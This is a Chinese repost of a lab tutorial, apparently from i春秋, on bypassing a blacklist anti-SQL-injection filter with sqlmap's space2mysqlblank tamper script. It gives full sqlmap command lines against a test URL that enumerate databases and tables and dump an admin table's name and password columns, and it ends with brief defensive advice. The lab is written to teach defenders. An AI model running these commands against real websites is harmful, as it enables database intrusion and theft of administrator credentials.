利用Tamper绕过防注入代码进行注入(转自 i春秋 )
2015-06-09 18:43
417 查看
转载自:http://www.ichunqiu.com/course/38
实验环境
实验环境
操作机:
目标机:
目标网址:
实验工具:
实验目的
本课程带领大家实验利用Tamper绕过防注入代码进行注入,使大家了解到绕过防注入脚本并非难事,需要提高自身SQL注入防御能力。
实验思路
手工检测判断注入点
利用Tamper绕过防注入代码
获取数据库信息
防御方案
实验步骤
1
注入点位置在网站的文章中心板块,打开文章中心中的第二篇文章“习近平:孔子学院属于中国 也属于世界”。
对地址
在地址后加’来判断,提示有非法字符,说明有防注入代码。
替换判断语句为and 1=1 ,and 也被过滤。
替换语句 “-1”返回页面为上一篇文章,证明语句被执行,可以判断这是一个注入点,过滤了and等关键词,说明这是黑名单过滤防注入代码。
2
打开sqlmap,输入:
返回结果报错,提示这不是一个注入点,这是被过滤了。
现在利用Tamper对语句转意进行注入,绕过防注入代码 输入:
3
获取当前所在数据库输入:
获取所有数据库名称 输入:
获取当前数据库内所有表名称。
输入:
获取admin表内的列名
输入:
获取name和password内的账户密码
输入:
4
5
1.普通用户与系统管理员的权限要有严格的区分
2.强迫使用参数化语句
3.加强对用户输入的验证
4.多使用数据库自带的安全参数
5.使用专业的漏洞扫描工具来寻找可能被攻击的点
实验环境
实验环境
操作机:
Windows XP
目标机:
Windows 2003
目标网址:
www.test.com
实验工具:
sqlmap注入工具
实验目的
本课程带领大家实验利用Tamper绕过防注入代码进行注入,使大家了解到绕过防注入脚本并非难事,需要提高自身SQL注入防御能力。
实验思路
手工检测判断注入点
利用Tamper绕过防注入代码
获取数据库信息
防御方案
实验步骤
1
手工检测判断注入点
注入点位置在网站的文章中心板块,打开文章中心中的第二篇文章“习近平:孔子学院属于中国 也属于世界”。对地址
http://www.test.com/Art_Show.php?id=2进行注入点判断。
在地址后加’来判断,提示有非法字符,说明有防注入代码。
替换判断语句为and 1=1 ,and 也被过滤。
替换语句 “-1”返回页面为上一篇文章,证明语句被执行,可以判断这是一个注入点,过滤了and等关键词,说明这是黑名单过滤防注入代码。
2
利用Tamper绕过防注入代码,进行注入
打开sqlmap,输入:python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2"对注入点进行检测,
返回结果报错,提示这不是一个注入点,这是被过滤了。
现在利用Tamper对语句转意进行注入,绕过防注入代码 输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper " space2mysqlblank.py注入成功,数据库信息出来了 。
3
获取数据库内信息
获取当前所在数据库输入:python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper " space2mysqlblank.py" --current-db当前数据库为
mys。
获取所有数据库名称 输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper " space2mysqlblank.py" --dbs。
获取当前数据库内所有表名称。
输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper " space2mysqlblank.py" -D mys --tables,看到了
admin表
获取admin表内的列名
输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper "space2mysqlblank.py" -D mys -T zzcms_admin --columns
获取name和password内的账户密码
输入:
python sqlmap.py -u "http://www.test.com/Art_Show.php?id=2" --tamper "space2mysqlblank.py" -D mys -T zzcms_admin -C name,password --dump
4
获取到账户密码
5
防御方案
1.普通用户与系统管理员的权限要有严格的区分2.强迫使用参数化语句
3.加强对用户输入的验证
4.多使用数据库自带的安全参数
5.使用专业的漏洞扫描工具来寻找可能被攻击的点
相关文章推荐
- getParameter
- C#学习之接口
- C#获取应用程序版本信息
- 学习Python2(正则表达式)
- java_eclipse_设置全局编码_utf-8_编译class指定_运行jar乱码解决_不依赖环境
- SpringMvc 异常处理特解
- MATLAB7.0学习之一到运筹学的实验题解答
- php脚本超时时间设置
- Java并发编程:Lock
- 分数的加减乘除(C++的有理数类)
- git github gitlab 之间的区别和联系
- Java for LeetCode 210 Course Schedule II
- PHP-获取上周一周的日期
- 分数的四则运算(c++)
- java List 去重(两种方式)
- python实现数独算法实例
- GT的使用及耗电量统计的原理,对GT采集的电池数据采用VBA分析
- Java的HashMap和HashTable
- C#中的委托(Delegate)和事件(Event)
- asp.net 使用UrlRewritingNet.UrlRewriter组件URL重写,伪静态详解